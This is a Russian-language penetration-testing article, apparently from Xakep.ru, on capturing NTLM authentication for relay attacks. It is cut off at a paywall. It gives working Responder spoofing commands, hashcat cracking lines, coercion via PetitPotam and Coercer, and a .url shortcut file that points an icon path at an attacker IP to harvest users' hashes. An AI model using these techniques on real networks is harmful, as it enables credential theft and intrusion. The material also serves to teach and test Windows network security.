Содержание статьи
- Теория
- Захват с Responder
- Захват NTLM-аутентификации для Relay-атак
- SMB (445/TCP)
- Coerce-атаки
- Ярлыки
- RPC (135/TCP)
- SweetPotato
- Триггерим вручную
- Пример получения аутентификации на DCE RPC
- HTTP (80/TCP)
- Coerce-атаки
- PrivExchange
- Триггерим вручную
- RemotePotato0
- WCF (9389/TCP)
- Триггерим вручную
- RAW (произвольный TCP)
- Как получить NTLM-аутентификацию, если мешает NAT или МЭ
- Бонус № 1
- Бонус № 2
- Защита
- Выводы
Теория
NTLM — это протокол проверки подлинности в сетях Windows NT. На самом деле он перекочевал и в другие домены, например ALD или FreeIPA. Чтобы не закапываться глубоко в теорию, постараюсь объяснить принцип его работы на простой схеме.
- Клиент инициирует процесс прохождения аутентификации специальным сообщением.
- Сервер отправляет некоторое случайное значение клиенту.
- Клиент шифрует случайное значение своим секретом и отправляет на проверку серверу.
В простом случае все понятно: есть клиент, есть сервер, клиент проходит аутентификацию по протоколу NTLM. Добавим остроты в нашу схему: теперь у нас появляется некий атакующий.
Из схемы мы понимаем, что атакующий на своей рабочей станции сразу разворачивает и сервер, и клиент для взаимодействия по протоколу NTLM. Для улучшения восприятия поясним, что происходит на схеме.
- Клиент (жертва) отправляет сообщение о начале NTLM-аутентификации — NEGOTIATE. Атакующий перехватывает это сообщение с помощью своего сервера.
- Атакующий отправляет со своего клиента сообщение о начале NTLM-аутентификации — NEGOTIATE на целевой сервер.
- С целевого сервера атакующему приходит сообщение со случайным значением — CHALLENGE.
- Атакующий отправляет сообщение с таким же CHALLENGE, как на третьем шаге, жертве.
- Жертва шифрует CHALLENGE своим NTLM-хешем и отправляет серверу.
- Атакующий перехватывает ответ жертвы и пересылает его серверу. Атакующий успешно проходит аутентификацию на целевом сервере.
Схема в целом понятна, но при проведении атаки бывают нюансы, про которые нужно знать. Во‑первых, NTLM не существует в вакууме, ее используют различные протоколы, такие как SMB, LDAP или RPC. Во‑вторых, при прохождении аутентификации могут использоваться разные хеши: NetNTLMv1 и NetNTLMv2. Эти хеши имеют свои особенности, от которых может зависеть результат проведения атаки.
Существует две версии протокола: NTLMv1 и NTLMv2. В NTLMv1 используется хеш NetNTLMv1, и он безнадежно устарел:
- Из случайностей там только CHALLENGE, который присылает сервер. Значит, при подделке сервера можно подделать и CHALLENGE и, соответственно, подготовить радужные таблицы.
- Также существуют методы восстановления из хеша NetNTLMv1 хеша NT. Подробнее об этом можно почитать на сайте Crack.SH.
- Отсутствует проверка целостности сообщения (MIC — message integrity code), которая защищает от Relay-атак с одного протокола на другой.
Как можно догадаться, в NTLMv2 используется хеш NetNTLMv2. В нем разработчики постарались решить все проблемы протокола NTLMv1. Действительно, можно сказать, что обратить этот хеш за разумное время хотя бы до NT пока не представляется возможным. Подготовить радужные таблицы не получится, потому что к CHALLENGE добавилась метка времени. А вот с Relay-атаками не все так однозначно, но об этом мы поговорим в другой раз.
В этой статье будут рассмотрены некоторые варианты захвата NTLM-аутентификации для реализации Relay-атак. В следующей мы обсудим непосредственно Relay-атаки.
Самое простое, что можно сделать с полученным NetNTLM-хешем любой версии, — это подобрать пароль по словарю. Например, так:
hashcat -a0 -m 5500 hash wordlist -r rules (NetNTLMv1)hashcat -a0 -m 5600 hash wordlist -r rules (NetNTLMv2)
Захват с Responder
Один из самых простых способов получить NTLM-аутентификацию — спуфинг с помощью Responder (этот инструмент можно найти в Kali).
info
Можно запустить NetBIOS spoofing с помощью Responder и полученную аутентификацию использовать для Relay-атаки. Для этого нужно просто отключить в конфиге сервера Responder SMB, HTTP и DCE RPC, чтобы не возникло конфликта с ntlmrelayx. После этого запустить Responder и ntlmrelayx.
Уверен, что многие уже использовали этот инструмент для захвата хешей, поэтому кратко пробежимся по основным функциям. Responder предоставляет пользователю набор серверов для захвата и обработки аутентификаций.
Захват хеша с Responder выглядит примерно следующим образом.
Этот формат пригоден для брута с помощью hashcat. Все захваченные хеши Responder складывает в базу SQLite, расположенную по пути /
. Открыть базу можно следующей командой:
sqlitebrowser /usr/share/responder/Responder.db
Файл конфигурации Responder находится здесь: /
. Эта информация может пригодиться, если надо будет выключить или включить определенный сервер. На скрине ниже изображен файл конфигураций Responder.
.
Responder незаменим для реализации спуфинг‑атак в сетях на основе Windows. Предпосылкой для выполнения атаки типа NetBIOS Spoofing служит наличие в сети широковещательного трафика типа NBNS, LLMNR и mDNS. Трафик в сети можно прослушивать с помощью Wireshark, применяя фильтр NBNS.
Вместо визуального анализа трафика можем просто запустить Responder в режиме анализа следующей командой:
responder -I eth0 -A
После запуска получаем примерно такую картину, можем пробовать спуфинг.
Спуфинг‑атаки для захвата аутентификации можно выполнять следующей командой:
responder -I eth0 -dwF
Если атака удалась, переходим к следующим шагам.
Захват NTLM-аутентификации для Relay-атак
Для выполнения Relay-атак удобнее всего использовать ntlmrelayx из пакета impacket. В этом инструменте реализованы часто встречающиеся протоколы, с которых можно захватить NTLM-аутентификацию. Вообще, ntlmrelayx имеет клиент‑серверную модель, и в этой статье мы как раз обсудим все RelayServers, реализованные в нем, и даже добавим новый, которого еще нет в основной ветке.
info
Стоит сразу отметить, что порты, которые прослушивают серверы RelayServer ntlmrelayx, можно сменить. Это может пригодиться при реализации сложных атак.
SMB (445/TCP)
Протокол SMB с точки зрения Relay-атак наиболее изученный и популярный, поэтому и способов захвата аутентификации с SMB больше всего. Вот несколько вариантов того, как это можно сделать:
- Провести coerce-атаку (принуждение к аутентификации):
- анонимно — с помощью PetitPotam (CVE-2021-36942);
- с учетной записью.
- Использовать ярлыки на шарах с доступом на запись:
- анонимно;
- с учетной записью.
- Стриггерить вручную.
- Провести MITM-атаку.
Coerce-атаки
С coerce-атаками мы сейчас подробно разбираться не будем. Стоит упомянуть, что если у нас есть учетная запись, то coerce уже не уязвимость, а особенность архитектуры.
Принуждать можно любым удобным скриптом, например Coercer.
— на сегодняшний день он поддерживает почти все известные методы принуждения, в том числе без учетной записи.
info
Coerce-атаки можно выполнять не только с 445-го порта, но и с 139, 135 и 4915-го портов. Подробнее об этом, а также о методах защиты от этих атак читай на «Хабре».
Пример использования Coercer.
показан на рисунке ниже.
В результате принуждения мы получаем NTLM-аутентификацию.
Важно отметить, что в результате выполнения такой атаки мы получаем именно машинную учетную запись, это необходимо помнить при планировании Relay-атак.
Ярлыки
Техники с ярлычками довольно старые и действенные, называются они slinky и scuffy. Если в сети присутствуют папки, открытые на запись, обязательно нужно положить в них ярлычки, которые будут ссылаться на IP-адрес атакующего. Как только пользователь откроет сетевую папку с нашим ярлыком, нам прилетит NTLM-аутентификация на SMB. Реализовать атаку можно несколькими способами:
- при помощи утилиты PyLnk 3 (есть в Kali);
- при помощи CrackMapExec (тоже есть в Kali);
- вручную.
Для эксперимента выберем третий вариант и будем использовать технику, которая немного отличается от slinky и scuffy. Содержимое файла с расширением .
будет примерно следующим:
[InternetShortcut]URL=whateverWorkingDirectory=whateverIconFile=\\<attacker IP>\%USERNAME%.iconIconIndex=1
Положили ярлык в сетевую папку, перешли в нее и получили NTLM-аутентификацию, как показано на следующих рисунках.
Переходим в сетевую папку, где расположен ярлык.
Сразу же прилетает NTLM-аутентификация.
В примере хеш захвачен с помощью Responder, на практике же можно запустить ntlmrelayx и выполнить Relay-атаку.
Триггерим вручную
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»